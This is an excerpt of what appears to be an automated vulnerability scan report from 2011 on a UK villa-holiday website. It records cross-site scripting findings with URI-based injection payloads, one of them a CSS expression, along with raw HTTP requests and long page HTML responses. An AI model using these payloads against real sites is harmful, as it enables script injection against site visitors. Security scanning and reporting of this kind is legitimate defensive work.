href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portuguese " />Portugal</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Alentejo villas" title=" in Alentejo"> Luxury Alentejo </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Algarve villas" title=" in Algarve"> Luxury Algarve </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Verde villas" title=" in Costa Verde"> Luxury Costa Verde </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lagos villas" title=" in Lagos"> Luxury Lagos </h2></a></li><li><h2><a onMouseOver="sc_..

- /private-villa-owners.php/%22%20stYle=%22x:expre/**/ssion(alert(9))

/private-villa-owners.php/%22%20stYle=%22x:expre/**/ssion(alert(9)) CONFIRMED

http://theholidaygroup.com/private-villa-owners.php/%22%20stYle=%22x:expre/**/ssion(alert(9))

Parameters

Parameter	Type	Value
URI-BASED	Raw URI	/" stYle="x:expre/**/ssion(alert(9))

Request

GET /private-villa-owners.php/%22%20stYle=%22x:expre/**/ssion(netsparker(9)) HTTP/1.1
Referer: http://theholidaygroup.com/site-map.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=l6iaj5i41suet2oa84b9le98s7evm3sb
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:19:49 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 10485
Content-Type: text/html

<html><head><title>Private Villa Owner's</title> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><link rel="stylesheet" href="villas.css" type="text/css"><style>h1{ font-family: arial,verdana; color: #000000; font-size: 13px; margin-bottom: 0px; font-weight: normal;}h2{ font-family: Arial, Helvetica, sans-serif; font-size: 18px; color: #000000; margin-bottom: 0px; font-weight: normal;}</style></head><body bgcolor="#ffffff" leftmargin="0" topmargin="0"><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#CC3333;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#CC3333; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #CC3333; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#CC3333; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#CC3333; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#FFFFFF" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#000000" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#000000; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#CC3333"> <ul class="menu" id="nav" style="width:780px; background-color:#CC3333;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portuguese " />Portugal</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Alentejo villas" title=" in Alentejo"> Luxury Alentejo </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Algarve villas" title=" in Algarve"> Luxury Algarve </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Verde villas" title=" in Costa Verde"> Luxury Costa Verde </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lagos villas" title=" in Lagos"> Luxury Lagos </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lisbon villas" title=" in Lisbon"> Luxury Lisbon </h2></a></li><li><h2><a onMouseOver="sc_hidem..

- /index.php/%22ns=%22alert(0x001882)

/index.php/%22ns=%22alert(0x001882)

http://theholidaygroup.com/index.php/%22ns=%22alert(0x001882)

Parameters

Parameter	Type	Value
URI-BASED	Raw URI	/"ns="alert(0x001882)

Request

GET /index.php/%22ns=%22netsparker(0x001882) HTTP/1.1
Referer: http://theholidaygroup.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=l6iaj5i41suet2oa84b9le98s7evm3sb
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:18:57 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 18347
Content-Type: text/html

<title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><link rel="stylesheet" type="text/css" href="netawayfiles/stylesheet.css" /><script type="text/javascript" src="netawayfiles/jc.js"></script><script type="text/javascript">//This function is called when the country dropdown on the search bit is changed, if the selected item is show all, it will change the value in the resort to show all the resorts, otherwise, only those within the selected countryfunction dothelist(theform, countryid){ if (countryid=="%") fillList(theform.listresort, resort_array, '', ''); else fillList(theform.listresort, resort_array, '', countryid);}function bookmark(){ if(navigator.appName == 'Microsoft Internet Explorer' && parseInt(navigator.appVersion) >= 4) { window.external.AddFavorite('http://www.villavillas.com/', 'Villa Villas - Call +44 (0)1202 961300'); }}</script><style type="text/css">a.blick, a.blick:visited, a.blick:hover { color: black; text-decoration: none; cursor: hand; }body { scrollbar-3d-light-color : #00a0dd; scrollbar-arrow-color : #ffffff; scrollbar-base-color : #00a0dd; scrollbar-dark-shadow-color : Navy; scrollbar-face-color : #00a0dd; scrollbar-highlight-color : Navy; scrollbar-shadow-color : Navy;}</style></head><body><script type="text/javascript">country_array = new Array();resort_array = new Array();temparray = new Array(57, "");country_array[0]=temparray;temparray = new Array(11, "America");country_array[1]=temparray;temparray = new Array(30, "Australia");country_array[2]=temparray;temparray = new Array(43, "Austria");country_array[3]=temparray;temparray = new Array(51, "Bahrain");country_array[4]=temparray;temparray = new Array(38, "Bulgaria");country_array[5]=temparray;temparray = new Array(36, "Canada");country_array[6]=temparray;temparray = new Array(12, "Caribbean");country_array[7]=temparray;temparray = new Array(27, "China");country_array[8]=temparray;temparray = new Array(45, "Croatia");country_array[9]=temparray;temparray = new Array(25, "Cyclades Islands");country_array[10]=temparray;temparray = new Array(3, "Cyprus");country_array[11]=temparray;temparray = new Array(42, "Cyprus");country_array[12]=temparray;temparray = new Array(52, "Egypt");country_array[13]=temparray;temparray = new Array(55, "Espana");country_array[14]=temparray;temparray = new Array(5, "France");country_array[15]=temparray;temparray = new Array(16, "Greece");country_array[16]=temparray;temparray = new Array(60, "Hawaii");country_array[17]=temparray;temparray = new Array(24, "Ibiza");country_array[18]=temparray;temparray = new Array(28, "Indonesia");country_array[19]=temparray;temparray = new Array(58, "Ireland");country_array[20]=temparray;temparray = new Array(6, "Italy");country_array[21]=temparray;temparray = new Array(23, "Kenya");country_array[22]=temparray;temparray = new Array(33, "Latin America");country_array[23]=temparray;temparray = new Array(41, "Majorca");country_array[24]=temparray;temparray = new Array(50, "Malaysia");country_array[25]=temparray;temparray = new Array(10, "Malta");country_array[26]=temparray;temparray = new Array(20, "Mauritius");country_array[27]=temparray;temparray = new Array(19, "Mediterranean");country_array[28]=temparray;temparray = new Array(46, "Menorca");country_array[29]=temparray;temparray = new Array(37, "Mexico");country_array[30]=temparray;temparray = new Array(34, "Middle East");country_array[31]=temparray;temparray = new Array(39, "Morocco");country_array[32]=temparray;temparray = new Array(32, "New Zealand");country_array[33]=temparray;temparray = new Array(31, "Oceania");country_array[34]=temparray;temparray = new Array(59, "Oman");country_array[35]=temparray;temparray = new Array(56, "Panama");country_array[36]=temparray;temparray = new Array(1, "Portugal");country_array[37]=temparray;temparray = new Array(22, "Seychelles");country_array[38]=temparray;temparray = new Array(21, "South Africa");country_array[39]=temparray;temparray = new Array(35, "South America");country_array[40]=temparray;temparray = new Array(13, "Spain");country_array[41]=temparray;temparray = new Array(49, "Sri Lanka");country_array[42]=temparray;temparray = new Array(48, "Switzerland");country_array[43]=temparray;temparray = new Array(29, "Thailand");country_array[44]=temparray;temparray = new Array(47, "The Czech Republic");country_array[45]=temparray;temparray = new Array(18, "Turkey");country_array[46]=temparray;temparray = new Array(53, "UK");country_array[47]=temparray;temparray = new Array(44, "United Arab Emirates");country_array[48]=temparray;temparray = new Array(54, "Valencia");country_array[49]=temparray;temparray = new Array(300, "Abruzzo", 6);resort_array[0]=temparray;temparray = new Array(612, "Akyaka", 18);resort_array[1]=temparray;temparray = new Array(288, "Alanya", 18);resort_array[2]=temparray;temparray = new Array(519, "Albarella Island", 6);resort_array[3]=temparray;temparray = new Array(536, "Alentejo", 1);resort_array[4]=temparray;temparray = new Array(74, "Algarve", 1);resort_array[5]=temparray;temparray = new Array(563, "Almeria", 13);resort_array[6]=temparray;temparray = new Array(65, "Alonissos", 16);resort_array[7]=temparray;temparray = new Array(493, "Alsace/ Vosges", 5);resort_array[8]=temparray;temparray = new Array(542, "Altinkum", 18);resort_array[9]=temparray;temparray = new Array(227, "Amalfi Coast", 6);resort_array[10]=temparray;temparray = new Array(21, "Andalucia", 13);resort_array[11]=temparray;temparray = new Array(265, "Anguilla", 12);resort_array[12]=temparray;temparray = new Array(608, "Antalya", 18);resort_array[13]=temparray;temparray = new Array(266, "Antigua", 12);resort_array[14]=temparray;temparray = new Array(487, "Antipaxos", 16);resort_array[15]=temparray;temparray = new Array(81, "Aquitaine", 5);resort_array[16]=temparray;temparray = new Array(494, "Ardeche", 5);resort_array[17]=temparray;temparray = new Array(561, "Athenian Riviera ", 16);resort_array[18]=temparray;temparray = new Array(295, "Athens Area", 16);resort_array[19]=temparray;temparray = new Array(567, "Auvergne", 5);resort_array[20]=temparray;temparray = new Array(170, "Bahamas", 12);resort_array[21]=temparray;temparray = new Array(534, "Bahrain", 51);resort_array[22]=temparray;temparray = new Array(156, "Bali", 28);resort_array[23]=temparray;temparray = new Array(171, "Barbados", 12);resort_array[24]=temparray;temparray = new Array(576, "Barcelona ", 13);resort_array[25]=temparray;temparray = new Array(304, "Basilicata", 6);resort_array[26]=temparray;temparray = new Array(500, "Basque and Pyrenees", 5);resort_array[27]=temparray;temparray = new Array(560, "Bath", 53);resort_array[28]=temparray;temparray = new Array(263, "Biarritz and the Atlantic coast", 5);resort_array[29]=temparray;temparray = new Array(47, "Bodrum", 18);resort_array[30]=temparray;temparray = new Array(603, "Borneo", 50);resort_array[31]=temparray;temparray = new Array(505, "Brazil", 35);resort_array[32]=temparray;temparray = new Array(278, "British Virgin Islands", 12);resort_array[33]=temparray;temparray = new Array(84, "Brittany", 5);resort_array[34]=temparray;temparray = new Array(495, "Burgandy/Avergne region", 5);resort_array[35]=temparray;temparray = new Array(642, "California", 11);resort_array[36]=temparray;temparray = new Array(579, "Camps Bay", 21);resort_array[37]=temparray;temparray = new Array(626, "Cape Town", 21);resort_array[38]=temparray;temparray = new Array(551, "Capri", 6);resort_array[39]=temparray;temparray = new Array(503, "Catalonia", 13);resort_array[40]=temparray;temparray = new Array(625, "Chiang Mai ", 29);resort_array[41]=temparray;temparray = new Array(504, "Cilento Coast", 6);resort_array[42]=temparray;temparray = new Array(592, "Corfu (East)", 16);resort_array[43]=temparray;temparray = new Array(591, "Corfu (North)", 16);resort_array[44]=temparray;temparray = new Array(593, "Corfu (West)", 16);resort_array[45]=temparray;temparray = new Array(554, "Cornwall", 53);resort_array[46]=temparray;temparray = new Array(585, "Corsica (North)", 5);resort_array[47]=temparray;temparray = new Array(586, "Corsica (South)", 5);resort_array[48]=temparray;temparray = new Array(16, "Costa Blanca", 13);resort_array[49]=temparray;temparray = new Array(117, "Costa Brava", 13);resort_array[50]=temparray;temparray = new Array(577, "Costa Calida", 13);resort_array[51]=temparray;temparray = new Array(116, "Costa Del Azahar", 13);resort_array[52]=temparray;temparray = new Array(73, "Costa Del Sol", 13);resort_array[53]=temparray;temparray = new Array(520, "Costa Verde", 1);resort_array[54]=temparray;temparray = new Array(105, "Cote d`Azur /Cannes", 5);resort_array[55]=temparray;temparray = new Array(71, "Crete", 16);resort_array[56]=temparray;temparray = new Array(290, "Croatia", 45);resort_array[57]=temparray;temparray = new Array(20, "Cyprus", 3);resort_array[58]=temparray;temparray = new Array(538, "Dalyan", 18);resort_array[59]=temparray;temparray = new Array(614, "Datca", 18);resort_array[60]=temparray;temparray = new Array(555, "Devon", 53);resort_array[61]=temparray;temparray = new Array(173, "Dominican Republic", 12);resort_array[62]=temparray;temparray = new Array(12, "Dordogne", 5);resort_array[63]=temparray;temparray = new Array(287, "Dubai", 44);resort_array[64]=temparray;temparray = new Array(632, "Eastern Cape", 21);resort_array[65]=temparray;temparray = new Array(564, "Elba", 